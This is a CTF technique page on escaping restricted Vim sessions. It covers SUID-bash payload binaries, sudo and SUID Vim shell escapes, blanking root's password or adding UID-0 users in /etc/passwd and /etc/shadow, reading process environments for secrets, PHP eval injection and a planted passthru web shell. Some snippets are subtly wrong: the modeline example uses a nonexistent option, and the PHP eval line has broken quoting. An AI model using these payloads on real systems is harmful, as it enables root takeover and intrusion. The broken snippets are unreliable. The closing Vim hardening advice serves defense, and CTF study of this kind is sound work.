> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/constrained-environment/initial-access-constrained-environment-vim.md).

# Vim

## Code Execution by Overwriting Executable via Vim

The technique leverages the ability to write arbitrary files with Vim's `:w!` command within a constrained environment to overwrite a binary that is predictably executed by a network service. This allows you to replace the service's intended program with your own compiled code.

First, compile your custom binary. For example, `execit.c` could be a simple C program designed to execute a command that escalates privileges. A common payload might involve copying `/bin/bash`, setting the SUID bit, and then executing it. The C code for such a binary could look like this:

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // This command aims to create an SUID version of bash
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
    return 0;
}
```

Static compilation is often necessary to avoid dependency issues on the target:

```bash
gcc execit.c -o execit --static
```

Upload this compiled binary to a location on the target accessible from the Vim process (e.g., `/tmp/ftp` if FTP is available).

Inside the constrained Vim session, use the `:edit` command to load your uploaded binary. When dealing with binary files, it's important to ensure Vim handles them correctly, reading and writing byte-for-byte without interpreting special characters like carriage returns. This can be achieved by opening the file in binary mode using the `++binary` option with `:edit`:

```vim
:e ++binary /tmp/ftp/execit
```

Then, use `:write!` to forcefully overwrite the target executable's path. The `:w!` command is used to force the write, even if the file is read-only or has been modified externally.

```vim
:w! /tmp/nano
```

Finally, trigger the execution of your overwritten binary by interacting with the network service that executes it (e.g., connecting to its port):

```bash
nc <target_ip> 8095
```

This causes the service to run your malicious binary (`execit`) instead of the original `/tmp/nano`, executing your code with the service's privileges. Ensure your custom binary performs the desired action and preferably exits cleanly to avoid crashing the service.

### Direct Privilege Escalation with Sudo Vim

In some scenarios, an enumeration of sudo privileges (e.g., by running `sudo -l`) might reveal that Vim itself can be executed with root privileges without requiring a password. If the output of `sudo -l` shows an entry like:

`(root) NOPASSWD: /usr/bin/vim`

Then, a more direct path to a root shell is available:

```bash
sudo vim -c ':!/bin/bash'
```

This command uses Vim's ability to execute shell commands to spawn a `/bin/bash` shell with root privileges.

### Alternative File Overwrite Targets: System Configuration Files

The arbitrary file write capability, as demonstrated with Vim, is not limited to overwriting executables. If the environment in which Vim is running permits writing to critical system configuration files, such as `/etc/passwd` or `/etc/shadow`, these can become targets for privilege escalation.

**Modifying /etc/passwd**

If you have write permission to `/etc/passwd`, you can modify it to gain root access.

One method is to remove root's password. You could prepare a file, for instance, `modified_root_entry`, containing the root user's line with an empty password field (e.g., `root::0:0:root:/root:/bin/bash`). After uploading this file (e.g., to `/tmp/ftp/modified_root_entry`), you can use Vim to overwrite `/etc/passwd` or the specific line if you can precisely target it. A full overwrite would be:

```vim
:e /tmp/ftp/modified_root_entry
:w! /etc/passwd
```

Alternatively, if direct editing of `/etc/passwd` is possible within the Vim session:

```vim
:e /etc/passwd
```

You would then navigate to the line for the `root` user (e.g., `root:x:0:0:root:/root:/bin/bash`) and change it by removing the `x` (which represents the encrypted password), resulting in `root::0:0:root:/root:/bin/bash`. Save the file with:

```vim
:wq!
```

After such a modification, attempting `su root` may grant access without a password.

Another strategy is to add a new user with UID 0 and GID 0. A line such as `root2::0:0::/root:/bin/bash` can be prepared. If this line is in a file named `new_user_line` uploaded to `/tmp/ftp/`, it can be appended to `/etc/passwd` using Vim:

```vim
:e /tmp/ftp/new_user_line
:w! >> /etc/passwd
```

Or, if overwriting a simplified `/etc/passwd` file containing this new user:

```vim
:w! /etc/passwd
```

Subsequently, you can try to switch to this user:

```bash
su - root2
id && whoami
```

To add a new root-equivalent user with a chosen password, first generate the password hash. For example, using `openssl`:

```bash
openssl passwd -1 -salt ignite NewRootPassword
```

Suppose this command outputs `<generated_hash>`. The line to add to `/etc/passwd` would be `root2:<generated_hash>:0:0:root:/root:/bin/bash`. This line, once prepared in a file and uploaded, can be written into `/etc/passwd` using Vim as shown previously. Then, attempt to use the new account:

```bash
su root2
```

**Modifying /etc/shadow**

If `/etc/shadow` is writable, you can replace the root user's password hash. This is often a more targeted approach if `/etc/passwd` is not world-readable but is writable by the exploited process.\
First, generate a password hash for your desired new password. For instance:

```bash
python -c "import crypt; print crypt.crypt('NewRootPassword')"
```

Copy the resulting hash. Then, within the constrained Vim session, open `/etc/shadow` for editing:

```vim
:e /etc/shadow
```

Find the line corresponding to the `root` user. Replace the existing encrypted password (the second field in the colon-separated list) with the hash you generated. Save the changes:

```vim
:wq!
```

Following this, you should be able to use `su root` and authenticate with `NewRootPassword`.

***

## File Transfer via FTP and Vim File Operations

First, upload the file to the accessible FTP share on the target:

```bash
ftp <target_ip> <ftp_port>
put <local_file> <remote_file_name>
```

Then, from within the constrained Vim session, you need to access the uploaded file and write its content to the desired location on the target filesystem.

If Vim's `netrw` plugin is active and the Vim environment has network access to the FTP server, you can browse the FTP share directly. To display the content of a remote FTP directory:

```vim
:e ftp://user@target_ip:<ftp_port>/path_on_ftp/
```

Note the slash at the end. From this listing, you can navigate to your `<remote_file_name>` and open it in the current window by pressing `<CR>` (Enter), or open it in a new window by pressing `P`. After opening a file, you can return to the previous netrw buffer (the directory listing) by pressing `B`. To change directory to the parent directory while in the listing, press `-`. If you happen to lose the file listing display, it can often be brought back with the command `:Rex`.

Once the file from the FTP server is open in a Vim buffer (either through direct `netrw` FTP access as described above, or by opening it from a local filesystem path where the FTP server places files, e.g., `/tmp/ftp/<remote_file_name>`), you can write its content to the final target location on the filesystem:

```vim
:w! <target_file_path>
```

Alternatively, if you are still in the netrw directory listing buffer showing the remote FTP files, you can copy the file directly from there. Place the cursor over the desired file (`<remote_file_name>`) and press `C`. Pressing 'C' on a filename prompts for a target directory. Supplying a directory name and pressing Enter copies the file to that directory.

If you are working with multiple files from the same remote FTP directory that you've accessed using `netrw`, it's useful to know that while you cannot simply use relative filenames in commands (because the local working directory is different from the remote one), you can use filename-modifiers to refer to files relatively to the currently open remote file. For example, to edit another file named `another_file_in_same_ftp_dir.txt` located in the same remote directory as the current file:

```vim
:edit %:h/another_file_in_same_ftp_dir.txt
```

In this command, `%:h` expands to the "head" or directory path of the current file (`%`).

For users who frequently access the same FTP location via `netrw`, bookmarking can be a time-saver. After you open an FTP path, for instance, `vim ftp://user@target_ip:<ftp_port>/path_on_ftp/`, which shows you a directory listing, you can bookmark this current directory using the command:

```vim
mb
```

To see your list of current bookmarks and history, use:

```vim
qb
```

And to navigate to a saved bookmark, use:

```vim
gb
```

Alternatively, if the FTP share is accessible as a local directory on the target system (e.g., the FTP server's root is mounted or accessible at `/tmp/ftp`), you can explore this directory using Vim's standard file browsing capabilities:

```vim
:e /tmp/ftp/
```

Or, if you know the exact path to the uploaded file within this local directory structure, you can open it directly:

```vim
:e /tmp/ftp/<remote_file_name>
```

And then write it to the desired location:

```vim
:w! <target_file_path>
```

This overall process copies the file content from the FTP staging area (whether accessed directly via `netrw` or via a local filesystem path) to the final target location using Vim's built-in file operations or netrw's copy function. This can be particularly useful in environments where direct shell access or standard file copy utilities (`cp`, `mv`) are unavailable, but FTP and a Vim editor are. Always ensure that the user running the Vim process has the necessary write permissions for the `<target_file_path>`.

***

## Read Environment Variables from Proc in Vim

When inside a constrained Vim session where standard shell commands for reading environment variables might be blocked, you can often leverage Vim's file editing command (`:e`) to read the process's environment variables exposed via the proc filesystem.

The `/proc/self/environ` pseudo-file contains the environment variables for the current process. Use Vim's `:e` command to read this file:

```vim
:e /proc/self/environ
```

If `/proc/self/environ` is accessible, this command will open it in a new buffer. If you get a blank page or an error, `/proc/self/environ` may not be accessible, or the operating system might be different (e.g., FreeBSD, which handles procfs differently).

When successfully opened, the buffer will display the environment variables concatenated together, with each variable typically separated by a null character (which Vim might display as `^@`). The specific content of `/proc/self/environ` is the environment of the current process. For example, you might see something like this, especially in a web server context:

```
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
```

However, the variables present can differ greatly. In some cases, only very specific variables like `CONTEXT_DOCUMENT_ROOT` might be seen. If the application isn't run as a CGI process, `HTTP_` variables related to the web request might not appear in the environment. It can also seem peculiar if typical variables like `PATH` or `HOME` are absent, but this depends on the execution environment of the process.

The environment contents may be useful for gaining more info about the server (such as paths) or other configuration details. Look for potential secrets like flags or credentials within the output.

Because the environment variables are separated by null bytes (`\x00`), the output can be difficult to read directly. Standard command-line tools are often used to process this format. For example, you can use `sed` or `tr` to replace the null bytes with newlines () to display each variable on a separate line.

Using `sed`:

```bash
sed 's/\x00/\n/g' /proc/self/environ
```

Using `tr`:

```bash
tr '\0' '\n' < /proc/self/environ
```

These commands, if executable from your environment (potentially via Vim's shell escape `:!`), can transform the concatenated output into a more human-readable list of `VARIABLE=value` pairs, one per line.

***

## Set File Permissions Using Vim Function

In a constrained environment where standard shell commands like `chmod` are unavailable or restricted, if the Vim editor is accessible, certain builds may include the `setfperm` built-in function. This function allows directly setting file permissions from within Vim, bypassing the need for external utilities.

To set full read, write, and execute permissions (rwxrwxrwx) for a file, use the following command within the Vim session:

```vim
:call setfperm('/path/to/your/file', 'rwxrwxrwx')
```

This method provides a powerful way to modify file properties directly via the editor's internal functions, potentially enabling further exploitation by making scripts or binaries executable where traditional methods fail. Verify the existence and functionality of `setfperm` in the specific Vim version encountered.

### Scenarios for Exploitation

The ability to change file permissions can be particularly potent if it allows an attacker to execute code with elevated privileges. For instance, consider a program that is compiled and made SETUID root. Such a program runs with root permissions, regardless of the user who executes it. You can use the following commands to make a target binary SETUID root, assuming you have the necessary privileges to begin with:

```bash
sudo chown root:root task_uid
sudo chmod u+s task_uid
```

If an attacker can modify a script or binary that such a SETUID program interacts with, and then use `setfperm` to ensure it's executable (especially if `chmod` is unavailable), they might achieve privilege escalation.

Beyond modifying external files, Vim itself, if compiled with certain features and run with elevated privileges (e.g., as a SETUID binary), can be directly exploited to run arbitrary commands. If Vim is found with the SUID bit set, it may be possible to escape the editor and execute shell commands as the owner of the Vim process (often root).

One common method involves using Vim's ability to execute external commands. If Vim is SUID, commands run via `:!command` will execute with the SUID user's privileges.

```bash
vim -c ':!/bin/sh'
```

This command starts Vim and immediately executes `/bin/sh` via the `:!` command, potentially giving the attacker a root shell if Vim is SUID root.

Another technique leveraging Vim's SUID status is to use its built-in scripting capabilities or file operations to write and execute a file. For example, one could write a simple shell script and then execute it.

```bash
vim -c ':w /tmp/script.sh' -c ':!/bin/sh /tmp/script.sh'
```

Here, the `-c ':w /tmp/script.sh'` command saves the current buffer (which could contain malicious script content) to `/tmp/script.sh`, and then `:!/bin/sh /tmp/script.sh` executes it.

Consider a program designed to read data from a local file. For example, a C program might include functionality like this:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// A function that might be vulnerable, for context
int bof(char *in, unsigned int len) {
  char buf[56]={0};
  memcpy(buf,in,len);
  return 1;
}

int main(int argc, char **argv) {
  FILE *evilfile = NULL;
  char dst[256]={0};
  evilfile = fopen("./evilfile", "r"); // Program opens and reads 'evilfile'
  if(evilfile == NULL){
    printf("[!] evilfile doesn't exist, you need to create evilfile.\n");
    return 0;
  }
  fread(dst, sizeof(char), 256, evilfile);
  // bof(dst,sizeof(dst)); // Original vulnerability context
  fclose(evilfile);
  printf("[*] Return properly.\n");
  return 1;
}
```

In this scenario, if an attacker can write a malicious script to `./evilfile` and the target program (potentially a SETUID binary) can be made to execute it, `setfperm` would be crucial for setting the execute bit on `evilfile` if other means are blocked.

Remote Code Evaluation (RCE) vulnerabilities can also serve as an entry point for placing malicious scripts that then require execute permissions. For example, in PHP, if user input is insecurely passed to the `eval()` function:

```php
eval("\$$user = '$regdate');
```

An attacker might provide a username like `x = 'y';system('cat /etc/passwd > /tmp/output.txt');/*`. The resulting PHP code executed would be:

```php
$x = 'y';system('cat /etc/passwd > /tmp/output.txt');/* = 'some_date';
```

If instead of directly executing a command, the attacker writes a script to a file (e.g., using `echo` or `wget` within the injected `system()` call), `setfperm` could then be used on that newly created script file.

A "Stored Remote Code Evaluation" is another variant. Imagine a web application that stores user-specific settings in a configuration file. If a language variable is set via a parameter like `?language=de` and this is written into a configuration file as `$lan = 'de';`. An attacker could attempt to inject code by crafting a parameter like:`de';file_put_contents('/tmp/malicious_script.php', '<?php passthru($_GET["cmd"]); ?>');/*`\
This could result in the following code inside the configuration file:`$lan = 'de';file_put_contents('/tmp/malicious_script.php', '<?php passthru($_GET["cmd"]); ?>');/*';`\
When this configuration file is included and parsed, it would create `/tmp/malicious_script.php`. If this script needs execute permissions at the filesystem level (e.g., if it's a CGI script or needs to be run from the command line), `setfperm` could be used from within Vim to set them.

### Vim Security Considerations

While Vim can be a powerful tool, it's also important to be aware of its own security settings, especially when dealing with untrusted files or environments. Certain Vim features, like modelines, can be exploited to execute arbitrary commands when opening a file containing specially crafted text.

A modeline is a line in a file that tells Vim to set certain options or execute commands when the file is opened. A malicious modeline could look like this:

```
/* vim: set cmd=system('id > /tmp/owned'); */
```

When Vim opens a file containing this modeline, it might execute the command `system('id > /tmp/owned')`, leading to arbitrary code execution. This is a common vulnerability vector.

To mitigate the risks associated with features like modelines and untrusted configuration files:

* Append `set secure` to the end of your `.vimrc`. This restricts certain commands when running in a sandbox.
* Be cautious about modelines in files. Modelines allow execution of Vim commands specified within the file itself. Consider using `set nomodelineexpr` (which disallows expressions in modelines but still allows setting options) or the more strict `set nomodeline` (which disables modelines altogether) in your `.vimrc`.
* The `exrc` option controls the reading of `.vimrc`, `.exrc`, and `.gvimrc` files in the current directory. It's good practice to ensure this is set to `set noexrc` (which is often the default) to prevent Vim from automatically executing commands from local rc files when opening files in untrusted directories.

These settings help reduce the attack surface presented by Vim's powerful configuration and scripting capabilities when processing untrusted input.
